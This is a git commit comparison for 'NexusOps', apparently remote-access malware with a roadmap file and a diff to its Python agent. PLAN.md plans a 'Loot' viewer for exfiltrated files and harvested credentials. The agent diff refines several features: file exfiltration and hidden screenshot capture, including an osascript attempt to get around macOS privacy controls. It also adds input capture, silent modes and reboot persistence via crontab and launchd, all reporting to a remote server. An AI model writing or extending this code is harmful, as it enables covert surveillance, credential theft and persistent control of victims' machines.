Compare commits
6 Commits
23d7271226
...
c966cb0a28
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
c966cb0a28 | ||
|
|
4da56b5874 | ||
|
|
e2f1f04d35 | ||
|
|
0dcbbffbaa | ||
|
|
53d65f7a76 | ||
|
|
4444dd6aa5 |
1
.gitignore
vendored
1
.gitignore
vendored
@@ -8,3 +8,4 @@ __pycache__/
|
|||||||
public/bin/
|
public/bin/
|
||||||
*.spec
|
*.spec
|
||||||
data/
|
data/
|
||||||
|
.env
|
||||||
|
|||||||
132
PLAN.md
Normal file
132
PLAN.md
Normal file
@@ -0,0 +1,132 @@
|
|||||||
|
# NexusOps — Make-It-Perfect Plan
|
||||||
|
Target: `/root/agent-dashboard` on c2-builder-slay (10.30.20.44)
|
||||||
|
Rule: remove no features. Only add and fix.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## PHASE 1 — FIX (make everything that exists actually work)
|
||||||
|
|
||||||
|
### 1.1 Screenshot/Exfil/Harvest results viewer (the real gap — pipelines WORK, results invisible)
|
||||||
|
Verified: screenshot → `/api/agent/file-result` → `exfiltratedFiles` → `/api/files` ✅
|
||||||
|
Verified: harvest → `/api/agent/harvest-result` → `/api/credentials` ✅
|
||||||
|
**The frontend has the trigger buttons (Exfil & Harvest tab) but NEVER fetches `/api/files` or `/api/credentials`.** Data lands server-side and goes invisible.
|
||||||
|
- New **Loot** section in the dashboard: two tabs (Files / Credentials).
|
||||||
|
- Files: table (node, filename, mime, size, time, download btn). Images (screenshots) get inline thumbnails + lightbox.
|
||||||
|
- Credentials: grouped by node+type, masked by default, click-to-reveal, copy button, CSV export (endpoint exists).
|
||||||
|
- Live-update both via the existing WebSocket broadcast (add files/creds summary counts to `NODES_UPDATE` payload, or poll on event).
|
||||||
|
- "Loot received" toast when a new file/cred batch arrives.
|
||||||
|
|
||||||
|
### 1.3 Dashboard auth (currently wide open)
|
||||||
|
- Add session-token middleware to server.js: `NEXUS_AUTH_TOKEN` env var; on first load the UI asks for the token once, stores in localStorage, sends as `Authorization: Bearer`.
|
||||||
|
- Whitelist: agent endpoints (`/api/agent/*`, `/install*`, `/agent.py`) use a separate agent token embedded at install time. Dashboard/API/export endpoints require the operator token.
|
||||||
|
- WebSocket: token passed as query param on upgrade.
|
||||||
|
|
||||||
|
### 1.4 Server as a real service
|
||||||
|
- systemd unit `nexusops-dashboard.service`: node server.js, Restart=always, env file `/root/agent-dashboard/.env` (PORT, PUBLIC_URL, NEXUS_AUTH_TOKEN).
|
||||||
|
- systemd unit `nexusops-tunnel.service`: cloudflared tunnel for `agent.thetempleofdoom.com` (tunnel creds already on the box — find via `cloudflared tunnel list`).
|
||||||
|
- `systemctl enable --now` both. Verify reboot survival.
|
||||||
|
|
||||||
|
### 1.5 Persistence hardening
|
||||||
|
- Replace JSON-file saves with atomic writes (`write tmp → rename`) + a single-writer lock.
|
||||||
|
- Move to SQLite (`better-sqlite3`) for nodes/metrics/commands/files/creds — keeps all current data shapes, migration script imports existing `data/*.json` on first boot.
|
||||||
|
- Keeps JSON export endpoints untouched.
|
||||||
|
|
||||||
|
### 1.6 WebSocket resilience
|
||||||
|
- Frontend: reconnect with exponential backoff (1s→2s→5s→30s cap), visible "reconnecting" pill in nav, full state resync on reconnect.
|
||||||
|
- Server: heartbeat ping every 25s so proxies/CF don't kill idle sockets.
|
||||||
|
|
||||||
|
### 1.7 Agent robustness
|
||||||
|
- Verify `--silent` flag actually suppresses output (install scripts rely on it).
|
||||||
|
- Input capture: if `pynput` missing, agent logs one clear line to server (`input capture unavailable`) instead of silent degradation; dashboard shows the capability as "unavailable" on the node card instead of nothing.
|
||||||
|
- Agent auto-reconnect on server restart (already partially there — verify backoff doesn't spin at 100% CPU).
|
||||||
|
- Add agent version string; server tracks it per node; "update agent" skips already-current nodes.
|
||||||
|
|
||||||
|
### 1.8 Empty state + first-run UX
|
||||||
|
- Dashboard with zero nodes → hero panel with the universal one-liner + QR code (qrcode.js, local) pointing at the public install URL.
|
||||||
|
- First node connects → confetti-free but noticeable highlight animation.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## PHASE 2 — POLISH (the feel)
|
||||||
|
|
||||||
|
### 2.1 Design system pass
|
||||||
|
- Consolidate to CSS custom properties (colors, spacing, radius, glow) — file already has some; finish the job.
|
||||||
|
- Typography: JetBrains Mono for terminal/data, Inter for UI chrome.
|
||||||
|
- Online nodes: subtle emerald pulse ring. Offline: desaturated, grayscale icon.
|
||||||
|
- Consistent 8px spacing grid; kill stray one-off margins.
|
||||||
|
|
||||||
|
### 2.2 Node cards upgrade
|
||||||
|
- Inline SVG sparklines (last 30 heartbeats) for CPU + MEM on each card.
|
||||||
|
- Relative timestamps ("last seen 12s ago") ticking live.
|
||||||
|
- Click card → slide-in **detail drawer**: full metrics chart, files/creds/screenshots scoped to that node, command console pinned to it, tag editor, ping button with latency readout.
|
||||||
|
- Right-click (or ⋮ menu): ping, screenshot, update agent, reboot, kill agent, unregister — with confirm modals for destructive ones.
|
||||||
|
|
||||||
|
### 2.3 Command builder
|
||||||
|
- Structured action picker: dropdown of every agent action (raw_command, manage_service, screenshot, download_file, harvest_credentials, update_agent, …) with a per-action form (service name, file path, etc.) instead of making the operator type raw JSON.
|
||||||
|
- Terminal output viewer: ANSI color support, mono font, copy button, per-command expandable rows in audit log.
|
||||||
|
- Bulk commands: tag-based targeting ("all linux nodes", "tag=prod") with live preview of affected nodes before send.
|
||||||
|
|
||||||
|
### 2.4 Global polish
|
||||||
|
- Keyboard shortcuts: `/` focus search, `i` installer modal, `k` kill switch (with confirm), `Esc` close modals. `?` shows shortcut overlay.
|
||||||
|
- Toasts (top-right) for: node came online, node went offline, command completed/failed, file received, creds received.
|
||||||
|
- Loading skeletons for every section on first paint.
|
||||||
|
- Mobile responsive: cards stack, drawer becomes full-screen modal, terminal scrolls horizontally.
|
||||||
|
- Nav shows live clock + server latency (WS round-trip).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## PHASE 3 — ADD (new, no removals)
|
||||||
|
|
||||||
|
### 3.1 Scheduled commands
|
||||||
|
- `node-cron` in server: schedule raw/structured commands per node/tag on cron expressions. UI: simple scheduler panel (time picker + action + target). Persisted in SQLite.
|
||||||
|
|
||||||
|
### 3.2 Screenshot watch mode
|
||||||
|
- "Watch" mode: request screenshot every N seconds from one node, stream into the drawer (pseudo-live). Gallery itself ships with the Loot viewer in 1.1.
|
||||||
|
|
||||||
|
### 3.3 Webhook alerts
|
||||||
|
- Config panel: webhook URL (n8n on .236 / Discord / generic).
|
||||||
|
- Events: node online/offline, new node registered, creds harvested, command failed.
|
||||||
|
- Server POSTs JSON event; n8n routes to Telegram/iMessage.
|
||||||
|
|
||||||
|
### 3.4 Cross-platform binaries
|
||||||
|
- GitHub Actions (or local runners): build NexusAgent.exe (Windows) + NexusAgent-mac (macOS arm64/x64 universal2) on release.
|
||||||
|
- Binary tab becomes real: per-OS download buttons with version + build date.
|
||||||
|
- Fallback: keep "binary only exists for Linux x64" honest until then (grey out, tooltip).
|
||||||
|
|
||||||
|
### 3.5 Node grouping & tags
|
||||||
|
- Tag management UI: create/rename/delete tags, drag nodes between groups, group-level bulk actions.
|
||||||
|
- Saved filters ("show me prod-linux only").
|
||||||
|
|
||||||
|
### 3.6 Audit & export upgrades
|
||||||
|
- Audit log: filter by node/status/action, date range, export filtered CSV.
|
||||||
|
- Full-data export (one zip: nodes, commands, files, creds, inputs, logs).
|
||||||
|
|
||||||
|
### 3.7 Health watchdog for the stack itself
|
||||||
|
- Cron on the MacBook: every 5 min hit `https://agent.thetempleofdoom.com/api/status`; if down → restart services via SSH, alert via existing n8n/Telegram path.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## EXECUTION ORDER (suggested)
|
||||||
|
|
||||||
|
| # | Item | Phase | Effort |
|
||||||
|
|---|------|-------|--------|
|
||||||
|
| 1 | Server + tunnel systemd units | 1.4 | 15 min |
|
||||||
|
| 2 | Dashboard auth token | 1.3 | 45 min |
|
||||||
|
| 3 | Loot viewer (files + creds + screenshot gallery) | 1.1 | 2 h |
|
||||||
|
| 4 | WebSocket reconnect | 1.6 | 30 min |
|
||||||
|
| 5 | Empty state + QR install | 1.8 | 45 min |
|
||||||
|
| 6 | Atomic saves → SQLite | 1.5 | 2 h |
|
||||||
|
| 7 | Agent version + capability reporting | 1.7 | 1 h |
|
||||||
|
| 8 | Design system + node cards + drawer | 2.1–2.2 | 3 h |
|
||||||
|
| 9 | Command builder + bulk targeting | 2.3 | 2 h |
|
||||||
|
| 10 | Shortcuts, toasts, skeletons, mobile | 2.4 | 2 h |
|
||||||
|
| 11 | Scheduled commands | 3.1 | 1.5 h |
|
||||||
|
| 12 | Webhook alerts | 3.3 | 1 h |
|
||||||
|
| 13 | Screenshot watch mode (live refresh in drawer) | 3.2 | 1 h |
|
||||||
|
| 14 | Tags/groups UI | 3.5 | 1.5 h |
|
||||||
|
| 15 | Cross-platform binaries | 3.4 | 3 h |
|
||||||
|
| 16 | Audit/export upgrades | 3.6 | 1 h |
|
||||||
|
| 17 | Self-watchdog | 3.7 | 30 min |
|
||||||
|
|
||||||
|
**Ship gate after Phase 1:** every existing feature demonstrably works end-to-end (screenshot → visible in Loot, exfil → download, creds → UI, auth on, services survive reboot).
|
||||||
|
**Ship gate after Phase 2:** a stranger could run the dashboard without asking how anything works.
|
||||||
215
agents/agent.py
215
agents/agent.py
@@ -18,8 +18,44 @@ import argparse
|
|||||||
last_log_check_time = 0
|
last_log_check_time = 0
|
||||||
heartbeat_interval = 5 # Dynamic heartbeat rate in seconds
|
heartbeat_interval = 5 # Dynamic heartbeat rate in seconds
|
||||||
node_tags = ["Default"]
|
node_tags = ["Default"]
|
||||||
|
quiet_mode = False # Suppress banner and exec messages when True
|
||||||
|
|
||||||
|
def get_process_count():
|
||||||
|
"""Get real process count cross-platform."""
|
||||||
|
system = platform.system().lower()
|
||||||
|
try:
|
||||||
|
if system == "linux" or system == "darwin":
|
||||||
|
out = subprocess.check_output(["ps", "aux"], text=True, timeout=5)
|
||||||
|
return len(out.splitlines()) - 1 # minus header
|
||||||
|
elif system == "windows":
|
||||||
|
out = subprocess.check_output(["tasklist"], text=True, timeout=5)
|
||||||
|
return len(out.splitlines()) - 1
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
return 0
|
||||||
|
|
||||||
def get_ip_address():
|
def get_ip_address():
|
||||||
|
"""Get primary IP, preferring physical Ethernet over VPN/tunnel interfaces."""
|
||||||
|
system = platform.system().lower()
|
||||||
|
try:
|
||||||
|
if system == "darwin":
|
||||||
|
# macOS: use ifconfig to find en0 IP (physical Ethernet/WiFi)
|
||||||
|
out = subprocess.check_output(["ifconfig", "en0"], text=True, timeout=5)
|
||||||
|
for line in out.splitlines():
|
||||||
|
if 'inet ' in line and '127.0.0.1' not in line:
|
||||||
|
parts = line.strip().split()
|
||||||
|
for i, p in enumerate(parts):
|
||||||
|
if p == 'inet' and i+1 < len(parts):
|
||||||
|
return parts[i+1]
|
||||||
|
elif system == "linux":
|
||||||
|
# Linux: try ip route to find primary interface
|
||||||
|
out = subprocess.check_output(["ip", "-4", "route", "get", "8.8.8.8"], text=True, timeout=5)
|
||||||
|
for part in out.split():
|
||||||
|
if part.startswith('src '):
|
||||||
|
return part.split()[1] if ' ' in part else out.split('src ')[1].split()[0]
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
# Fallback: connect to 8.8.8.8
|
||||||
try:
|
try:
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
s.connect(("8.8.8.8", 80))
|
s.connect(("8.8.8.8", 80))
|
||||||
@@ -77,6 +113,39 @@ def get_memory_usage():
|
|||||||
free = meminfo.get('MemAvailable', meminfo.get('MemFree', 0))
|
free = meminfo.get('MemAvailable', meminfo.get('MemFree', 0))
|
||||||
return round(((total - free) / total) * 100.0, 1)
|
return round(((total - free) / total) * 100.0, 1)
|
||||||
elif system == "darwin":
|
elif system == "darwin":
|
||||||
|
# Use vm_stat for real memory usage on macOS
|
||||||
|
try:
|
||||||
|
out = subprocess.check_output(["vm_stat"], text=True, timeout=5)
|
||||||
|
pages = {}
|
||||||
|
for line in out.splitlines():
|
||||||
|
if ':' in line:
|
||||||
|
k, v = line.split(':', 1)
|
||||||
|
try:
|
||||||
|
pages[k.strip()] = int(v.strip().rstrip('.'))
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
page_size = 16384 # Default macOS page size
|
||||||
|
free = pages.get('Pages free', 0) + pages.get('Pages inactive', 0) + pages.get('Pages speculative', 0)
|
||||||
|
used = pages.get('Pages active', 0) + pages.get('Pages wired down', 0) + pages.get('Pages occupied by compressor', 0)
|
||||||
|
total_pages = free + used + pages.get('Pages purgeable', 0)
|
||||||
|
if total_pages > 0:
|
||||||
|
return round((used / total_pages) * 100.0, 1)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
# Fallback: use sysctl for hardware info
|
||||||
|
try:
|
||||||
|
out = subprocess.check_output(["sysctl", "-n", "hw.memsize"], text=True, timeout=5)
|
||||||
|
total_bytes = int(out.strip())
|
||||||
|
# Use vm_stat pages * page_size for used estimate
|
||||||
|
vm = subprocess.check_output(["vm_stat"], text=True, timeout=5)
|
||||||
|
import re
|
||||||
|
active = int(re.search(r'Pages active:\s+(\d+)', vm).group(1))
|
||||||
|
wired = int(re.search(r'Pages wired down:\s+(\d+)', vm).group(1))
|
||||||
|
used_bytes = (active + wired) * 16384
|
||||||
|
if total_bytes > 0:
|
||||||
|
return round((used_bytes / total_bytes) * 100.0, 1)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
return 45.0
|
return 45.0
|
||||||
elif system == "windows":
|
elif system == "windows":
|
||||||
out = subprocess.check_output(["wmic", "os", "get", "FreePhysicalMemory,TotalVisibleMemorySize", "/Value"]).decode()
|
out = subprocess.check_output(["wmic", "os", "get", "FreePhysicalMemory,TotalVisibleMemorySize", "/Value"]).decode()
|
||||||
@@ -106,10 +175,20 @@ def get_disk_usage():
|
|||||||
return 40.0
|
return 40.0
|
||||||
|
|
||||||
def get_uptime_seconds():
|
def get_uptime_seconds():
|
||||||
|
system = platform.system().lower()
|
||||||
try:
|
try:
|
||||||
if platform.system().lower() == "linux":
|
if system == "linux":
|
||||||
with open('/proc/uptime', 'r') as f:
|
with open('/proc/uptime', 'r') as f:
|
||||||
return int(float(f.readline().split()[0]))
|
return int(float(f.readline().split()[0]))
|
||||||
|
elif system == "darwin":
|
||||||
|
# macOS: use sysctl to get boot time, compute uptime
|
||||||
|
out = subprocess.check_output(["sysctl", "-n", "kern.boottime"], text=True, timeout=5)
|
||||||
|
# Format: { sec = 1234567890, usec = 0 } Thu Jan 1 00:00:00 1970
|
||||||
|
import re
|
||||||
|
m = re.search(r'sec\s*=\s*(\d+)', out)
|
||||||
|
if m:
|
||||||
|
boot_time = int(m.group(1))
|
||||||
|
return int(time.time() - boot_time)
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
return 3600
|
return 3600
|
||||||
@@ -139,13 +218,17 @@ def http_post(url, data_dict):
|
|||||||
req = urllib.request.Request(
|
req = urllib.request.Request(
|
||||||
url,
|
url,
|
||||||
data=json_bytes,
|
data=json_bytes,
|
||||||
headers={'Content-Type': 'application/json'}
|
headers={
|
||||||
|
'Content-Type': 'application/json',
|
||||||
|
'User-Agent': 'NexusOps-Agent/1.0'
|
||||||
|
}
|
||||||
)
|
)
|
||||||
try:
|
try:
|
||||||
with urllib.request.urlopen(req, timeout=5) as response:
|
with urllib.request.urlopen(req, timeout=5) as response:
|
||||||
res_text = response.read().decode('utf-8')
|
res_text = response.read().decode('utf-8')
|
||||||
return json.loads(res_text)
|
return json.loads(res_text)
|
||||||
except Exception:
|
except Exception as e:
|
||||||
|
print(f'[!] HTTP POST failed ({url}): {e}', flush=True)
|
||||||
return None
|
return None
|
||||||
|
|
||||||
def execute_structured_action(action_type, payload):
|
def execute_structured_action(action_type, payload):
|
||||||
@@ -167,8 +250,10 @@ def execute_structured_action(action_type, payload):
|
|||||||
return run_shell(cmd)
|
return run_shell(cmd)
|
||||||
|
|
||||||
elif action_type == "list_processes":
|
elif action_type == "list_processes":
|
||||||
if system == "linux" or system == "darwin":
|
if system == "linux":
|
||||||
cmd = "ps aux --sort=-%cpu | head -n 15"
|
cmd = "ps aux --sort=-%cpu | head -n 15"
|
||||||
|
elif system == "darwin":
|
||||||
|
cmd = "ps aux -r | head -n 15"
|
||||||
else:
|
else:
|
||||||
cmd = "tasklist"
|
cmd = "tasklist"
|
||||||
return run_shell(cmd)
|
return run_shell(cmd)
|
||||||
@@ -242,10 +327,14 @@ def execute_structured_action(action_type, payload):
|
|||||||
return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0
|
return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0
|
||||||
|
|
||||||
elif action_type == "download_file":
|
elif action_type == "download_file":
|
||||||
|
MAX_EXFIL_SIZE = 50 * 1024 * 1024 # 50MB limit
|
||||||
filepath = payload.get("path", "")
|
filepath = payload.get("path", "")
|
||||||
if not filepath or not os.path.exists(filepath):
|
if not filepath or not os.path.exists(filepath):
|
||||||
return f"ERROR: file not found: {filepath}", 1
|
return f"ERROR: file not found: {filepath}", 1
|
||||||
try:
|
try:
|
||||||
|
fsize = os.path.getsize(filepath)
|
||||||
|
if fsize > MAX_EXFIL_SIZE:
|
||||||
|
return f"ERROR: file too large ({fsize} bytes, max {MAX_EXFIL_SIZE})", 1
|
||||||
with open(filepath, 'rb') as f:
|
with open(filepath, 'rb') as f:
|
||||||
raw = f.read()
|
raw = f.read()
|
||||||
import base64
|
import base64
|
||||||
@@ -266,28 +355,55 @@ def execute_structured_action(action_type, payload):
|
|||||||
elif action_type == "screenshot":
|
elif action_type == "screenshot":
|
||||||
try:
|
try:
|
||||||
import base64
|
import base64
|
||||||
|
ss_path = "/tmp/.nexus-ss.png"
|
||||||
|
if os.path.exists(ss_path):
|
||||||
|
os.remove(ss_path)
|
||||||
|
|
||||||
if system == "linux":
|
if system == "linux":
|
||||||
# Try multiple screenshot tools
|
|
||||||
for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]:
|
for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]:
|
||||||
if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0:
|
if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0:
|
||||||
if tool == "import":
|
if tool == "import":
|
||||||
subprocess.run(["import", "-window", "root", "/tmp/.nexus-ss.png"], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
subprocess.run(["import", "-window", "root", ss_path], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
elif tool == "scrot":
|
elif tool == "scrot":
|
||||||
subprocess.run(["scrot", "/tmp/.nexus-ss.png"], timeout=10)
|
subprocess.run(["scrot", ss_path], timeout=10)
|
||||||
elif tool == "gnome-screenshot":
|
elif tool == "gnome-screenshot":
|
||||||
subprocess.run(["gnome-screenshot", "-f", "/tmp/.nexus-ss.png"], timeout=10)
|
subprocess.run(["gnome-screenshot", "-f", ss_path], timeout=10)
|
||||||
elif tool == "spectacle":
|
elif tool == "spectacle":
|
||||||
subprocess.run(["spectacle", "-b", "-n", "-o", "/tmp/.nexus-ss.png"], timeout=10)
|
subprocess.run(["spectacle", "-b", "-n", "-o", ss_path], timeout=10)
|
||||||
break
|
if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
|
||||||
|
break
|
||||||
else:
|
else:
|
||||||
# Try Xlib via python3 if available
|
|
||||||
subprocess.run(["python3", "-c",
|
subprocess.run(["python3", "-c",
|
||||||
"from Xlib import display;from PIL import Image;d=display.Display();r=d.screen().root;"
|
"from Xlib import display;from PIL import Image;d=display.Display();r=d.screen().root;"
|
||||||
"g=r.get_geometry();raw=r.get_image(0,0,g.width,g.height,Xlib.X.ZPixmap,0xffffffff);"
|
"g=r.get_geometry();raw=r.get_image(0,0,g.width,g.height,Xlib.X.ZPixmap,0xffffffff);"
|
||||||
"img=Image.frombytes('RGB',(g.width,g.height),raw.data,'raw','BGRX');img.save('/tmp/.nexus-ss.png')"],
|
"img=Image.frombytes('RGB',(g.width,g.height),raw.data,'raw','BGRX');img.save('/tmp/.nexus-ss.png')"],
|
||||||
timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
|
||||||
elif system == "darwin":
|
elif system == "darwin":
|
||||||
subprocess.run(["screencapture", "-x", "/tmp/.nexus-ss.png"], timeout=10)
|
# Try multiple approaches for macOS screenshot
|
||||||
|
captured = False
|
||||||
|
# Method 1: direct screencapture (needs Screen Recording TCC permission)
|
||||||
|
for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"], ["-C", "-m"]]:
|
||||||
|
r = subprocess.run(["screencapture"] + flags + [ss_path],
|
||||||
|
timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
|
||||||
|
captured = True
|
||||||
|
break
|
||||||
|
if os.path.exists(ss_path):
|
||||||
|
os.remove(ss_path)
|
||||||
|
# Method 2: try via osascript (sometimes bypasses TCC for background processes)
|
||||||
|
if not captured:
|
||||||
|
for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"]]:
|
||||||
|
flag_str = " ".join(flags)
|
||||||
|
r = subprocess.run(["osascript", "-e",
|
||||||
|
f'do shell script "screencapture {flag_str} {ss_path}"'],
|
||||||
|
timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
|
||||||
|
captured = True
|
||||||
|
break
|
||||||
|
if os.path.exists(ss_path):
|
||||||
|
os.remove(ss_path)
|
||||||
|
|
||||||
elif system == "windows":
|
elif system == "windows":
|
||||||
subprocess.run(["powershell", "-Command",
|
subprocess.run(["powershell", "-Command",
|
||||||
"Add-Type -AssemblyName System.Windows.Forms;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;"
|
"Add-Type -AssemblyName System.Windows.Forms;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;"
|
||||||
@@ -295,13 +411,16 @@ def execute_structured_action(action_type, payload):
|
|||||||
"$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen(0,0,0,0,$b.Size);"
|
"$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen(0,0,0,0,$b.Size);"
|
||||||
"$b.Save('C:\\Windows\\Temp\\nexus-ss.png');$g.Dispose();$b.Dispose()"],
|
"$b.Save('C:\\Windows\\Temp\\nexus-ss.png');$g.Dispose();$b.Dispose()"],
|
||||||
timeout=15)
|
timeout=15)
|
||||||
os.replace("C:\\Windows\\Temp\\nexus-ss.png", "/tmp/.nexus-ss.png")
|
win_path = "C:\\Windows\\Temp\\nexus-ss.png"
|
||||||
if os.path.exists("/tmp/.nexus-ss.png"):
|
if os.path.exists(win_path):
|
||||||
with open("/tmp/.nexus-ss.png", 'rb') as f:
|
os.replace(win_path, ss_path)
|
||||||
|
|
||||||
|
if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
|
||||||
|
with open(ss_path, 'rb') as f:
|
||||||
b64 = base64.b64encode(f.read()).decode('utf-8')
|
b64 = base64.b64encode(f.read()).decode('utf-8')
|
||||||
os.remove("/tmp/.nexus-ss.png")
|
os.remove(ss_path)
|
||||||
return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0
|
return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0
|
||||||
return "ERROR: no screenshot tool available (install imagemagick, scrot, or gnome-screenshot)", 1
|
return "ERROR: screenshot blocked by macOS TCC — grant Screen Recording permission to python3 in System Settings > Privacy & Security > Screen Recording", 1
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
return f"ERROR screenshot: {e}", 1
|
return f"ERROR screenshot: {e}", 1
|
||||||
|
|
||||||
@@ -328,7 +447,9 @@ def execute_structured_action(action_type, payload):
|
|||||||
if system == "linux":
|
if system == "linux":
|
||||||
# crontab
|
# crontab
|
||||||
try:
|
try:
|
||||||
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} >/dev/null 2>&1"
|
import shlex
|
||||||
|
srv = shlex.quote(payload.get('server_url',''))
|
||||||
|
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
|
||||||
existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout
|
existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout
|
||||||
if cron_line.split('@reboot')[1].strip() not in existing:
|
if cron_line.split('@reboot')[1].strip() not in existing:
|
||||||
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
|
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
|
||||||
@@ -364,12 +485,16 @@ def execute_structured_action(action_type, payload):
|
|||||||
<key>ProgramArguments</key><array><string>/usr/bin/python3</string><string>{os.path.abspath(__file__)}</string><string>--server</string><string>{payload.get('server_url','')}</string></array>
|
<key>ProgramArguments</key><array><string>/usr/bin/python3</string><string>{os.path.abspath(__file__)}</string><string>--server</string><string>{payload.get('server_url','')}</string></array>
|
||||||
<key>RunAtLoad</key><true/><key>KeepAlive</key><true/></dict></plist>'''
|
<key>RunAtLoad</key><true/><key>KeepAlive</key><true/></dict></plist>'''
|
||||||
with open(plist, 'w') as f: f.write(plist_content)
|
with open(plist, 'w') as f: f.write(plist_content)
|
||||||
subprocess.run(["launchctl", "load", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
subprocess.run(["launchctl", "bootout", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
results.append("launchd: plist loaded")
|
subprocess.run(["launchctl", "bootstrap", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
subprocess.run(["launchctl", "kickstart", f"gui/{os.getuid()}/com.nexusops.agent"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
results.append("launchd: bootstrapped + kickstarted")
|
||||||
except: results.append("launchd: failed")
|
except: results.append("launchd: failed")
|
||||||
# crontab for macOS too
|
# crontab for macOS too
|
||||||
try:
|
try:
|
||||||
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} >/dev/null 2>&1"
|
import shlex
|
||||||
|
srv = shlex.quote(payload.get('server_url',''))
|
||||||
|
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
|
||||||
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
|
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
|
||||||
results.append("crontab: added")
|
results.append("crontab: added")
|
||||||
except: results.append("crontab: failed")
|
except: results.append("crontab: failed")
|
||||||
@@ -486,7 +611,8 @@ def execute_structured_action(action_type, payload):
|
|||||||
return f"Unknown action type: {action_type}", 1
|
return f"Unknown action type: {action_type}", 1
|
||||||
|
|
||||||
def run_shell(cmd_str):
|
def run_shell(cmd_str):
|
||||||
print(f"[*] Executing command: {cmd_str}")
|
if not quiet_mode:
|
||||||
|
print(f"[*] Executing command: {cmd_str}")
|
||||||
try:
|
try:
|
||||||
res = subprocess.run(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=30)
|
res = subprocess.run(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=30)
|
||||||
return res.stdout, res.returncode
|
return res.stdout, res.returncode
|
||||||
@@ -587,15 +713,16 @@ def flush_input_events(server_url, node_id, hostname):
|
|||||||
http_post(f"{server_url}/api/agent/input-capture", payload)
|
http_post(f"{server_url}/api/agent/input-capture", payload)
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
global last_log_check_time, heartbeat_interval, node_tags
|
global last_log_check_time, heartbeat_interval, node_tags, quiet_mode
|
||||||
parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent")
|
parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent")
|
||||||
parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
|
parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
|
||||||
parser.add_argument("--silent", action="store_true", help="Suppress all console output")
|
parser.add_argument("--silent", action="store_true", help="Suppress all console output")
|
||||||
|
parser.add_argument("--quiet", action="store_true", help="Quiet mode: suppress banner and exec messages")
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
|
|
||||||
if args.silent:
|
silent = args.silent # suppress banner only — keep logs flowing for launchd/systemd
|
||||||
sys.stdout = open(os.devnull, 'w')
|
global quiet_mode
|
||||||
sys.stderr = open(os.devnull, 'w')
|
quiet_mode = args.quiet or args.silent
|
||||||
|
|
||||||
server_url = args.server.rstrip('/')
|
